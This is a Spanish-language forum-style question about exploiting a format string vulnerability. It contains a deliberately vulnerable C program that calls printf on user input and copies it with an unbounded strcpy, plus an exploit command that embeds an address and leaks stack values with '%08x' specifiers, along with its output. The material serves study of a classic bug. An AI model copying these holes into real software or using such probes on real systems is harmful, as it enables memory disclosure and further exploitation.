Estoy intentando explotar el parámetro printf () donde el hecho de proporcionar datos controlados por el usuario directamente como único argumento de printf ("entrada del usuario") permite al usuario proporcionar parámetros de formato como% x, en cuyo caso hay no se proporcionan argumentos adicionales a la función para que salte de la pila, por lo que utiliza los datos que se encuentran actualmente allí, lo que le permite leer direcciones y más.
Programa
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Mi problema es que cuando proporciono una dirección que precede a los parámetros de formato como el argumento de mi programa, el byte 00 menos significativo (parte de la dirección) se trunca y se reemplaza con otro byte (2e en este caso) de la pila .
./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')
La salida:
The right way to print user-controlled input:
X'.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X'.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8